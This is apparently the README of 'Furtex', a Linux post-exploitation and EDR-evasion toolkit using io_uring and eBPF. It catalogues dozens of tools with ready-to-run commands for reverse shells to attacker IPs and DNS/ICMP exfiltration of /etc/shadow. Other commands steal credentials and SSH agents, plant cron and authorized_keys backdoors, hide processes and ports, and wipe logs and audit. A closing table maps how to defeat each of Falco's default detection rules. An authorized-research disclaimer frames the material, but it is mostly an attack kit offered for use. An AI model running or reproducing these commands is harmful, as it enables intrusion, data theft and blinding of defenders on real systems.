面向 Linux 的后渗透与规避研究工具包,基于 io_uring 和 eBPF 构建。不使用 liburing,不依赖框架,全程使用原始系统调用。
更多工具即将推出。欢迎提交 PR。🇧🇷
加入 Rootkit 研究人员社区
仅供授权的安全研究与红队演练使用。请勿在你不拥有的系统上运行。
```
Furtex/
├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/ BPF map and program tooling (15 tools)
├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/ EDR evasion and post-exploitation (75 tools)
└── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
## 要求
**工具链**
| 工具 | 用途 |
|---|---|
| `gcc` | 所有用户空间二进制程序 |
| `clang` | `ebpf/*.bpf.c` 的 BPF 端程序 |
| `make` | 构建系统 |
**头文件与库**
| 软件包 | 用途 |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`、`<linux/io_uring.h>` 及相关内核头文件 |
| `libbpf-dev` | `ebpf/` 程序中所使用的 `<bpf/bpf_helpers.h>` 等相关头文件 |
| `bpftool` | 在 `ebpf/` 目录下通过 `make vmlinux` 生成 `vmlinux.h` |
在 Debian/Kali/Ubuntu 上:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
内核版本
| 最低内核版本 | 解锁的功能 |
|---|---|
| 5.4 | io_uring 基础(IORING_FEAT_SINGLE_MMAP、BPF map 迭代) |
| 5.6 | IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal) |
| 5.8 | CAP_BPF + CAP_PERFMON 拆分(取代用于 BPF 的 CAP_SYS_ADMIN) |
| 5.9 | BPF_LINK_DETACH (bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass) |
能力
内核中必须启用 BTF(CONFIG_DEBUG_INFO_BTF=y)才能为 ebpf/ 程序运行 make vmlinux。
在带有较旧 libc-dev 头文件的发行版(Ubuntu 22.04 等)上,你可能需要 #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45。本仓库已处理。
edrs/ 有自己的子 Makefile,包含约 75 个按权限拆分的二进制文件:```
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
完整说明见 [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/main/PRIVILEGES.md)。
## io_uring 绕过覆盖
io_uring 的 SQE 会经过内核工作队列。`io_uring_enter(2)` 从不通过 `sys_call_table` 调用,从不触发 `sys_enter_*` tracepoint,也从不命中 `native_sys_call` 上的 livepatch。仅这一点,就能在不接触任何东西的情况下干掉一大类 EDR 钩子。
io_uring 本身能绕过的:
| Hook 点 | 说明 |
|---|---|
| `sys_call_table` 指针替换 | io_uring 从不经过系统调用表 |
| `native_sys_call` / `compat_sys_call` 上的 livepatch | 原因同上 |
| `sys_enter_*` tracepoint | workqueue 路径,不会触发任何 tracepoint |
io_uring 本身无法绕过的(需要主动工具):
| Hook 点 | 工具 | 工具的作用 |
|---|---|---|
| `vfs_read`、`security_file_open` 等上的 kprobes | `ftrace_enum` | 移除 kprobe 钩子 |
| BPF LSM / KRSI | `bpf_link_detach` | 分离 BPF 链接 |
| Linux audit | `audit_kill` | 通过 NETLINK_AUDIT 禁用 auditd |
| LD_PRELOAD / PLT-GOT 补丁 | `plt_unhook` | 移除用户态钩子 |
| netfilter OUTPUT / conntrack | `af_packet_shell` | 在二层使用 AF_PACKET,跳过 netfilter |
| `inet_stream_connect` 钩子 | `udp_shell` | 使用 UDP,绝不调用 tcp connect 路径 |
## io_uring/
`iouring_utils.h` 负责处理 ring 的设置,无需 liburing。
| 程序 | 功能 |
|---|---|
| `file_read` | 通过 io_uring 执行 OPENAT+READ+CLOSE 链,不产生 sys_enter_read 事件 |
| `file_write` | OPENAT+WRITE+CLOSE 链 |
| `file_append` | 与 file_write 相同,但使用 O_APPEND,偏移量为 -1 |
| `net_connect` | 在同一个 ring 中完成 SOCKET+CONNECT+SEND+RECV |
| `net_reverse_shell` | 通过 io_uring CONNECT 实现反向 shell |
| `multifile_read` | 一个 SQE 批次中最多读取 64 个文件 |
| `memfd_exec` | 通过 stdin 将 ELF 流式写入 memfd,再经由 /proc/self/fd 执行 execve |
| `proc_inject` | 通过 /proc/PID/mem 进行 JIT 注入;ptrace 注入(--ptrace 标志) |
| `pipe_splice` | SPLICE 内核到内核传输,用户态钩子永远看不到字节 |
| `inotify_bypass_watch` | io_uring READ 不会触发 IN_ACCESS/IN_OPEN |
| `dns_exfil` | 通过 io_uring SENDMSG 将数据以十六进制编码为 DNS 查询标签 |
| `af_packet_send` | 通过 AF_PACKET 发送原始以太网帧(IORING_OP_SOCKET,绕过 inet 路径) |
| `xdp_socket_send` | 通过 AF_XDP + UMEM ring 发送原始帧,完全绕过 netfilter |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
大多数工具需要 CAP_BPF。env_exfil 可在无特权下运行。icmp_trigger 需要 CAP_NET_RAW 而不是 CAP_BPF。
sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444
## ebpf/
需要 clang + libbpf + vmlinux.h。在 `ebpf/` 目录内运行 `make vmlinux`,从正在运行的内核 BTF 生成。
| 文件 | 功能 |
|---|---|
| `exec.bpf.c` | 针对 sys_enter_execve 的 tracepoint |
| `fentry_open.bpf.c` | 针对 sys_enter_openat 的 tracepoint |
| `creds.bpf.c` | 跟踪对凭据路径的 openat+read 操作 |
| `keylog.bpf.c` | 输入事件 tracepoint,原始键码捕获 |
| `net.bpf.c` | sys_enter_connect 日志记录 |
| `net_hide.bpf.c` | 从 /proc/net/tcp 和 /proc/net/udp 隐藏端口 |
| `proc_hide.bpf.c` | 从 getdents64 输出中隐藏 PID |
| `tty_sniff.bpf.c` | 捕获 stdin/stdout/stderr 的写入与读取 |
| `skf_c2_runner.c` | 通过经典 BPF socket filter 建立 ICMP C2 |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | 在魔术 UDP 数据包上触发 XDP |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01
sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>
sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337
sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan
sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload
./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out
cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode <shellcode_hex> ./edrs/fexecve_drop - < payload
sudo ./edrs/proc_mem_inject --inject <shellcode_hex> ./edrs/proc_vm_inject <shellcode_hex> ./edrs/ptrace_inject_so inject /tmp/payload.so
./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444
./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443
./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack
./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali
./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5
./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh
./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read <path_filter> ./edrs/fd_steal_read <path_filter>
## techniques/ (Falco 绕过)
针对 Falco 的默认规则集(`modern_ebpf` 驱动程序,25 条规则)。先运行 `edrs/edr_recon`。
绕过轴 A:阻止事件到达 Falco(io_uring 跳过 `sys_enter_*`,ringbuf 排空会静默丢弃事件)。
绕过轴 B:事件到达 Falco 但规则条件不匹配(proc.name 欺骗、路径切换、替代标志)。
| 工具 | 轴 | Falco 规则 |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | 全部 |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | 全部 |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | 全部 |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | 全部 25 |```bash
./techniques/uring_ops cat /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999
sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain <map_id>
./techniques/ringbuf_overflow flood 16 10
./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all
sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload
./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc <hex>
./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen <so>
./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"
./techniques/proc_masquerade setname sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>
./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell
./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444
./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"
./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>
./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log
欢迎提交 PR。工具应保持单一用途,使用原始系统调用,不引入新的依赖。
本项目严格用于安全研究、经授权的渗透测试、CTF 竞赛以及防御性工具开发。此处展示的所有技术均已在公开的安全研究和内核文档中记载。
请勿将本工具包用于你并不拥有、或未经明确书面授权进行测试的系统。 未经授权的使用可能违反《计算机欺诈与滥用法》(CFAA)、欧盟《攻击信息系统指令》以及你所在司法辖区的同等法律。
作者不对滥用行为承担任何责任。使用本软件即表示你同意自行负责遵守适用的法律。
| 能力 | 需要它的工具 |
|---|
CAP_BPF(或 5.8 之前的 CAP_SYS_ADMIN) | 所有 bpf/ 工具、ebpf/ 加载器 |
CAP_PERFMON | ebpf/ tracepoint 和 kprobe 程序 |
CAP_NET_RAW | icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send, netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
| 命令 | 构建内容 |
|---|
make all | 所有内容 |
make uring | 仅 io_uring/ |
make bpf | bpf/ 用户空间工具 |
make ebpf | BPF 端程序(需要 clang + libbpf) |
make edrs | 所有 edrs/ 二进制文件 |
make techniques | Falco 绕过工具 |
make clean | 删除所有二进制文件 |
| 二进制文件 | 功能 |
|---|
map_recon | 列出所有已加载的 BPF 映射 |
map_dumper | 按 ID 导出映射内容 |
map_write | 按 ID 更新映射条目 |
map_poison | 在载荷周围将 Falco 的 interesting_sys 条目清零 |
prog_recon | 列出 BPF 程序:类型、名称、映射数量 |
pid_allowlist | 将 PID 插入 EDR 白名单映射 |
edr_fin | 根据已知 EDR 启发式规则对已加载的 BPF 映射/程序进行评分 |
lsm_check | 检测活动的 BPF LSM 钩子,并测试映射写入是否被阻止 |
bpf_persist | 在 bpffs 上固定/获取/解除固定映射和程序 |
map_snapshot | 将映射内容保存到二进制文件并恢复 |
env_exfil | 读取 /proc/*/environ 以获取机密信息 |
bpf_link_detach | 枚举并分离 BPF 链接(移除 LSM 钩子) |
link_update | 将 BPF 链接重定向到无操作程序(钩子保持可见,但不触发任何操作) |
map_freeze | 通过 BPF_MAP_FREEZE 将 BPF 映射冻结为只读(写入返回 -EPERM) |
icmp_trigger | ICMP 魔术包后门;通过 socketpair 中继生成反向 shell;伪装成 kworker/u4:2 |
| sudo ./bpf/map_recon | |
| sudo ./bpf/map_dumper 42 --ascii | |
| sudo ./bpf/map_write <map_id> <key_hex> <val_hex> | |
| sudo ./bpf/prog_recon --maps --lsm-only | |
| sudo ./bpf/edr_fin | |
| sudo ./bpf/lsm_check <map_id> | |
| sudo ./bpf/pid_allowlist <map_id> [pid] | |
| sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map | |
| sudo ./bpf/bpf_persist list /sys/fs/bpf | |
| sudo ./bpf/map_snapshot save <prog_id> snap.bin | |
| sudo ./bpf/map_snapshot restore snap.bin | |
| ./bpf/env_exfil --filter AWS | |
| sudo ./bpf/bpf_link_detach list --lsm-only | |
| sudo ./bpf/bpf_link_detach detach-lsm --dry-run | |
| sudo ./bpf/link_update <link_id> | |
| sudo ./bpf/map_freeze <map_id> | |
| sudo ./bpf/map_freeze --prog <name_substr> | |
| sudo ./bpf/icmp_trigger --daemon | |
| sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port> |
| binary | root | technique |
|---|
edr_recon | 是 | 12 厂商 EDR 检测器:进程、痕迹、模块、BPF、kprobes |
bpf_prog_recon | 是 | 枚举已加载的 BPF 程序、map 和 kprobes |
bpf_map_wipe | 是 | 清空 BPF map 条目 |
bpf_detach_all | 是 | 分离所有 BPF 链接 |
tetragon_blind | 是 | 扫描、冻结、解冻、终止或致盲 Tetragon/Falco 进程 |
ftrace_enum | 是 | 枚举并清除 kprobe/ftrace 钩子 |
lkm_unload | 是 | 卸载内核模块 |
lkm_inline_detect | 是 | 检测内联内核钩子 |
perf_bpf_kill | 是 | 枚举并终止 Falco perf-event BPF 程序 |
module_recon | 是 | 枚举内核模块 |
cgroup_freeze | 是 | 通过 cgroup v2 冻结/解冻进程 |
oom_cage | 是 | 为自身或目标设置 oom_score_adj |
sysctl_blind | 是 | 读/写与安全相关的 sysctl |
audit_kill | 是 | 通过 NETLINK_AUDIT 禁用/限制 Linux audit |
inotify_exhaust | 是 | 耗尽所有 inotify watch |
netfilter_flush | 是 | 清空 netfilter 链 |
dmesg_wipe | 是 | 清除内核环形缓冲区 |
ld_so_preload | 是 | 操纵 /etc/ld.so.preload |
proc_hide | 是 | 通过 bind-mount 隐藏 /proc/PID |
mount_over | 是 | 在任意路径上执行 bind-mount |
log_wipe | 是 | 截断日志文件和 shell 历史 |
elf_infect | 是 | PT_NOTE 到 PT_LOAD 的寄生注入 |
proc_mem_inject | 是 | 向 /proc/PID/mem 执行 pwrite,无需 ptrace 附加 |
af_packet_shell | 是 | 绕过 netfilter OUTPUT 的原始以太网 C2 |
icmp_tunnel | 是 | 通过 ICMP echo-request 载荷进行数据外传 |
event_flood | 是 | 在载荷周围进行事件洪泛,使监控器饱和 |
livepatch_bypass | 是 | 通过 io_uring 绕过系统调用分发器上的 livepatch 钩子 |
livepatch_stack_blind | 是 | 禁用 livepatch + BPF kprobe + netfilter 钩子栈;通过伪造 comm 卸载模块 |
lsm_authlink_blind | 是 | 禁用 LSM 认证链接流程,冻结或终止认证代理,通过 inode 交换写入 |
lsm_callback_bypass | 是 | 通过 pidfd_getfd、process_vm_writev、perf+BPF 附加、新 netns 绕过 LSM 回调 |
bpf_fim_blind | 是 | 冻结 BPF FIM 传感器,清空 ring-buffer map 条目,洪泛 ringbuf |
syscall_dispatch_bypass | 是 | io_uring 文件/网络操作,绕过系统调用分发上的 kprobes 和 livepatch do_syscall_64 |
bpf_kprobe_bypass | 是 | io_uring 文件/网络/exec 操作,绕过 _x64_sys* kprobe 目标 |
ptrace_inject_so | 是 | 通过 ptrace + dlopen 将 .so 加载到运行中进程 |
uring_stealth | 否 | 通过 io_uring 进行文件/网络操作,不产生 sys_enter_* 事件 |
openat2_bypass | 否 | 替代系统调用(openat2、copy_file_range) |
ptrace_selfguard | 否 | 通过守护进程阻止外部 ptrace |
plt_unhook | 否 | 通过 dlmopen 检测并绕过 PLT-GOT 钩子 |
fexecve_drop | 否 | 将 ELF 载入 memfd,通过 /proc/self/fd 执行 execve |
memfd_loader | 否 | 通过 memfd 加载 .so,调用构造函数 |
memfd_userexec | 否 | 从 stdin 读取 ELF 到 memfd,通过 /proc/self/fd 执行 execve |
hollow_proc | 否 | 进程镂空,ps 中显示诱饵名称 |
argv_spoof | 否 | 通过 prctl(PR_SET_NAME) 重命名 comm,并覆盖 argv[0] |
clone_netns | 否 | 非特权网络命名空间执行 |
ns_exec | 否 | unshare 用户/pid/挂载命名空间 |
splice_c2 | 否 | 使用 splice(2) 进行数据传输的 TCP C2;send/recv 钩子永远不会触发 |
abstract_sock_c2 | 否 | 通过抽象 Unix 套接字的 C2 |
udp_shell | 否 | UDP 反向 shell,绕过 inet_stream_connect |
tls_shell | 否 | 使用伪造 TLS ClientHello 的反向 shell |
dns_exfil_raw | 否 | 将数据以十六进制编码为 DNS 查询标签 |
pidfd_steal | 否 | 通过 pidfd_getfd 窃取其他进程已打开的文件描述符 |
vma_hide | 否 | RWX 到 PROT_NONE 循环、MADV_DONTDUMP、VMA 重命名 |
coredump_block | 否 | 通过 filter/dumpable/rlimit 阻止核心转储 |
seccomp_notify | 否 | 通过 SECCOMP_USER_NOTIF 拦截系统调用 |
ipc_covert | 否 | 通过 POSIX 消息队列的 C2 |
shared_mem_c2 | 否 | 通过 POSIX 共享内存的 C2,无网络流量 |
pipe_exfil | 否 | splice(2) 数据外传,LD_PRELOAD 钩子失效 |
proc_fd_scan | 否 | 扫描 /proc/PID/fd 符号链接以查找敏感路径 |
proc_vm_inject | 否 | process_vm_writev,不打开 /proc/PID/fd |
self_delete | 否 | 运行时从磁盘删除自身二进制文件 |
time_stomp | 否 | 克隆/清零/设置 atime+mtime |
userland_persist | 否 | bashrc/crontab/autostart/authorized_keys |
env_scrape | 否 | 读取 /proc/*/environ 以获取机密和 SSH 套接字 |
anon_shellcode | 否 | shellcode 位于 MAP_ANONYMOUS 中,无文件、无 execve |
ld_preload_inject | 否 | 投放 .so,通过 LD_PRELOAD 注入 |
ssh_agent_hijack | 否 | 使用 agent 协议与捕获的套接字通信 |
fanotify_bypass | 否 | 使用 memfd/anon-mmap/devshm 规避 fanotify 标记 |
ringbuf_flood | 否 | 使 BPF ringbuf 饱和以丢弃事件 |
log_evasion | 否 | io_uring 文件操作和原始系统调用 TCP shell,无 libc 封装 |
syscalltable_bypass | 否 | 通过 io_uring 绕过 sys_call_table 指针钩子 |
uring_recon_unpriv | 否 | 通过 io_uring read 获取凭据、密钥、连接 |
fd_steal_read | 否 | 通过 pidfd_getfd 窃取 fd,无需自身 open() 即可读取 |
mmap_read | 否 | 通过 mmap 读取文件,无 read() 系统调用 |
scm_rights_exfil | 否 | 通过 SCM_RIGHTS 传递 fd,无需自身 open() 即可读取 |
splice_read | 否 | 通过 splice(2) 读取,无用户空间缓冲区 |
| sudo ./edrs/edr_recon | ||
| sudo ./edrs/edr_recon procs arts mods | ||
| sudo ./edrs/edr_recon progs maps |
| 规则 | 绕过方式 | 工具 |
|---|
| 1 目录遍历读取受监控文件 | io_uring OPENAT | uring_ops cat, per_rule_bypass dir-traversal |
| 3 读取不受信任的敏感文件 | io_uring 或 prctl | uring_ops creds, bypass_file_rules read-masked |
| 4 运行不受信任的 shell | 使用 python3/perl 代替 sh | rule_evade unusual-shell |
| 6 容器中的终端 shell | setsid, proc.tty=0 | bypass_proc_rules shell-notty |
| 7 连接 K8S API Server | io_uring CONNECT | uring_ops shell, per_rule_bypass k8s-connect |
| 8 Netcat 远程代码执行 | C 二进制程序,proc.name != nc/ncat | bypass_proc_rules reverse-shell |
| 9 搜索私钥 | 在 C 中 open+read,不使用 grep/find | bypass_file_rules grep-bypass |
| 10 清除日志活动 | 使用 ftruncate 而不使用 O_TRUNC | bypass_file_rules log-clear |
| 11 批量删除数据 | 使用 write 循环,不使用 shred/mkfs | bypass_file_rules wipe |
| 15 将 STDOUT/STDIN 重定向到网络 | 使用 fcntl F_DUPFD 代替 dup2 | bypass_proc_rules reverse-shell |
| 18 检测 release_agent 逃逸 | 通过 io_uring OPENAT+WRITE 写入 release_agent | cgroup_escape proof/shell, uring_ops write |
| 19 PTRACE 附加到进程 | /proc/PID/mem 或 process_vm_writev | bypass_proc_rules proc-inject |
| 20 PTRACE 反调试尝试 | 通过 /proc/self/status 检查 TracerPid | bypass_proc_rules anti-debug |
| 22 从 /dev/shm 执行 | 改为从 /run/user/uid/ 执行 | bypass_proc_rules run-safe |
| 25 通过 memfd_create 无文件执行 | 通过 mmap 执行 shellcode,不使用 execve | exe_from_memfd_bypass sc, proc_ghost ghost-sc |
| 全部 | 清空 ringbuf 或移除 scap.ko | ringbuf_overflow, kmod_unload |